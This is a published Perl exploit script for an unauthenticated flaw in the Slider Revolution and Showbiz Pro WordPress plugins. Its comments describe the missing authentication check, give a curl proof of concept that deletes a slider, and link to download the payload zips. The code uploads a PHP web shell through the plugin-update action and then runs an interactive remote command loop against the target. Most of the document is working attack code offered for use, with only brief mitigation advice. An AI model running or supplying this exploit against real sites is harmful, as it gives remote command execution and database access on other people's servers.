Slider Revolution/Showbiz Pro Shell Upload Exploit

#!/usr/bin/perl

#

# Title: Slider Revolution/Showbiz Pro shell upload exploit

# Author: Simo Ben youssef

# Contact: Simo_at_Morxploit_com

# Discovered: 15 October 2014

# Coded: 15 October 2014

# Updated: 25 November 2014

# Published: 25 November 2014

# MorXploit Research

# http://www.MorXploit.com

# Vendor: ThemePunch

# Vendor url: http://themepunch.com

# Software: Revslider/Showbiz Pro

# Versions: <= 3.0.95 (Revslider) / Version: <= 1.7.1 (Showbiz Pro)

# Products url:

# http://codecanyon.net/item/slider-revolution-responsive-wordpress-plugin/2751380

# http://codecanyon.net/item/showbiz-pro-responsive-teaser-wordpress-plugin/4720988

# Vulnerable scripts:

# revslider/revslider_admin.php

# showbiz/showbiz_admin.php

#

# About the plugins:

# The #1 Slider plugin, used by millions, slider revolution is an all-purpose slide displaying solution that allows for showing almost any

# kind of content whith highly customizable, transitions, effects and custom animations.

# Showbiz Pro is a responsive teaser displaying solution that allows you to show WordPress Posts or any Custom Content with a set

# amount of teaser items.

#

# Description:

# Slider Revolution and Showbiz Pro fail to check authentication in revslider_admin.php/showbiz_admin.php allowing an unauthenticated

# attacker to abuse administrative features.

# Some of the features include:

# Creating/Deleting/Updating sliders

# Importing/exporting sliders

# Updading plugin

# For a full list of functions please see revslider_admin.php/showbiz_admin.php

#

# PoC on revslider:

# 1- Deleting a slider:

# root@host:/home/rootuser# curl -v --data "action=revslider_ajax_action&client_action=delete_slider&data[sliderid]=1"

# http://****.com/wp-admin/admin-ajax.php

# * Connected to ****.com (**.**.**.**) port 80 (#0)

# > POST /wp-admin/admin-ajax.php HTTP/1.1

# > User-Agent: curl/7.35.0

# > Host: ****.com

# > Accept: */*

# > Content-Length: 73

# > Content-Type: application/x-www-form-urlencoded

# >

# * upload completely sent off: 73 out of 73 bytes

# < HTTP/1.1 200 OK

# < Date: Fri, 24 Oct 2014 23:25:07 GMT

# * Server Apache/2.4.6 (Unix) OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 is not blacklisted

# < Server: Apache/2.4.6 (Unix) OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

# < X-Powered-By: PHP/5.4.18

# < X-Robots-Tag: noindex

# < X-Content-Type-Options: nosniff

# < Expires: Wed, 11 Jan 1984 05:00:00 GMT

# < Cache-Control: no-cache, must-revalidate, max-age=0

# < Pragma: no-cache

# < X-Frame-Options: SAMEORIGIN

# < Set-Cookie: PHPSESSID=a23ex1c8a573f1d1xd28c301793ba022c; path=/

# < Transfer-Encoding: chunked

# < Content-Type: text/html; charset=UTF-8

# <

# * Connection #0 to host http://****.com left intact

#

# {"success":true,"message":"The slider deleted","is_redirect":true,"redirect_url":"http:\/\/****.com\/wp-admin\/admin.php?page=revslider&view=sliders"}

#

# 2- Uploading an web shell:

# The following perl exploit will try to upload an HTTP php shell through the the update_plugin function

# To use the exploit make sure you download first the revslider.zip and showbiz.zip files which contain cmd.php

# http://www.morxploit.com/morxploits/revslider.zip

# http://www.morxploit.com/morxploits/showbiz.zip

# and save them it in the same directory where you have the exploit.

#

# Demo:

# perl morxrev.pl http://localhost revslider

# ===================================================

# --- Revslider/Showbiz shell upload exploit

# --- By: Simo Ben youssef <simo_at_morxploit_com>

# --- MorXploit Research www.MorXploit.com

# ===================================================

# [*] Target set to revslider

# [*] MorXploiting http://localhost

# [*] Sent payload

# [+] Payload successfully executed

# [*] Checking if shell was uploaded

# [+] Shell successfully uploaded

#

# Linux MorXploit 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

#

# www-data@MorXploit:~$

#

# Download:

# Exploit:

# http://www.morxploit.com/morxploits/morxrevbiz.pl

# Exploit update zip files:

# http://www.morxploit.com/morxploits/revslider.zip

# http://www.morxploit.com/morxploits/showbiz.zip

#

# Requires LWP::UserAgent

# apt-get install libwww-perl

# yum install libwww-perl

# perl -MCPAN -e 'install Bundle::LWP'

# For SSL support:

# apt-get install liblwp-protocol-https-perl

# yum install perl-Crypt-SSLeay

#

# Mitigation:

# Besides the recently LFI vulnerability that was published couple months ago, this is another vulnerability that revslider developers have

# decided to patch without releasing a full security advisory, leaving thousands of revslider users who didn't update their plugin to the

# latest version (=> 3.0.96) vulnerable to this nasty flaw, revsliders developers will argue the fact that their slider comes with an

# auto-update feature, but the problem is that this plugin is bundled with a lot of themes, which means that those themes users may not get

# plugin updates or will have to pay to get the update. In other words revslider developers believe that every user should have the

# auto-update feature on, otherwise ... you are screwed.

# Obviously this is way more critical than the LFI vulnerability because it allows shell access giving attackers access to the target system

# as well as the ability to dump the entire wordpress database locally.

# That being said, upgrade immediately to the latest version or disable/switch to another plugin.

# As for Showbiz Pro, sadly the vulnerability has never been patched as we successfully exploited it in the latest version (1.7.1).

#

# Author disclaimer:

# The information contained in this entire document is for educational, demonstration and testing purposes only.

# Author cannot be held responsible for any malicious use or damage. Use at your own risk.

#

# Got comments or questions?

# Simo_at_MorXploit_dot_com

#

# Did you like this exploit?

# Feel free to buy me a beer =)

# My btc address: 1Ko12CUAFoWn8syrvg4aQokFedNiwD6d7u

# Cheers!

use LWP::UserAgent;

use MIME::Base64;

use strict;

sub banner {

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

print "===================================================\n";

print "--- Revslider/Showbiz shell upload exploit\n";

print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";

print "--- MorXploit Research www.MorXploit.com\n";

print "===================================================\n";

}

if (!defined ($ARGV[0] && $ARGV[1])) {

banner();

print "perl $0 <target> <plugin>\n";

print "perl $0 http://localhost revslider\n";

print "perl $0 http://localhost showbiz\n";

exit;

}

my $zip1 = "revslider.zip";

my $zip2 = "showbiz.zip";

unless (-e ($zip1 && $zip2))

{

banner();

print "[-] $zip1 or $zip2 not found! RTFM\n";

exit;

}

my $host = $ARGV[0];

my $plugin = $ARGV[1];

my $action;

my $update_file;

if ($plugin eq "revslider") {

$action = "revslider_ajax_action";

$update_file = "$zip1";

}

elsif ($plugin eq "showbiz") {

$action = "showbiz_ajax_action";

$update_file = "$zip2";

}

else {

banner();

print "[-] Wrong plugin name\n";

print "perl $0 <target> <plugin>\n";

print "perl $0 http://localhost revslider\n";

print "perl $0 http://localhost showbiz\n";

exit;

}

my $target = "wp-admin/admin-ajax.php";

my $shell = "wp-content/plugins/$plugin/temp/update_extract/$plugin/cmd.php";

sub randomagent {

my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',

'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',

'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',

'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',

'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',

'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'

);

my $random = $array[rand @array];

return($random);

}

my $useragent = randomagent();

my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });

$ua->timeout(10);

$ua->agent($useragent);

my $status = $ua->get("$host/$target");

unless ($status->is_success) {

banner();

print "[-] Xploit failed: " . $status->status_line . "\n";

exit;

}

banner();

print "[*] Target set to $plugin\n";

print "[*] MorXploiting $host\n";

my $exploit = $ua->post("$host/$target", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]);

print "[*] Sent payload\n";

if ($exploit->decoded_content =~ /Wrong update extracted folder/) {

print "[+] Payload successfully executed\n";

}

elsif ($exploit->decoded_content =~ /Wrong request/) {

print "[-] Payload failed: Not vulnerable\n";

exit;

}

elsif ($exploit->decoded_content =~ m/0$/) {

print "[-] Payload failed: Plugin unavailable\n";

exit;

}

else {

$exploit->decoded_content =~ /<\/b>(.*?)<br>/;

print "[-] Payload failed:$1\n";

print "[-] " . $exploit->decoded_content unless (defined $1);

print "\n";

exit;

}

print "[*] Checking if shell was uploaded\n";

sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] }

my $rndstr = rndstr(8, 1..9, 'a'..'z');

my $cmd1 = encode_base64("echo $rndstr");

my $status = $ua->get("$host/$shell?cmd=$cmd1");

if ($status->decoded_content =~ /system has been disabled/) {

print "[-] Xploit failed: system() has been disabled\n";

exit;

}

elsif ($status->decoded_content !~ /$rndstr/) {

print "[-] Xploit failed: " . $status->status_line . "\n";

exit;

}

elsif ($status->decoded_content =~ /$rndstr/) {

print "[+] Shell successfully uploaded\n";

}

my $cmd2 = encode_base64("whoami");

my $whoami = $ua->get("$host/$shell?cmd=$cmd2");

my $cmd3 = encode_base64("uname -n");

my $uname = $ua->get("$host/$shell?cmd=$cmd3");

my $cmd4 = encode_base64("id");

my $id = $ua->get("$host/$shell?cmd=$cmd4");

my $cmd5 = encode_base64("uname -a");

my $unamea = $ua->get("$host/$shell?cmd=$cmd5");

print $unamea->decoded_content;

print $id->decoded_content;

my $wa = $whoami->decoded_content;

my $un = $uname->decoded_content;

chomp($wa);

chomp($un);

while () {

print "\n$wa\@$un:~\$ ";

chomp(my $cmd=<STDIN>);

if ($cmd eq "exit")

{

print "Aurevoir!\n";

exit;

}

my $ucmd = encode_base64("$cmd");

my $output = $ua->get("$host/$shell?cmd=$ucmd");

print $output->decoded_content; }

EKU-ID: 4411	CVE:	OSVDB-ID:
Author: Simo Ben Youssef	Published: 2014-11-27	Verified:
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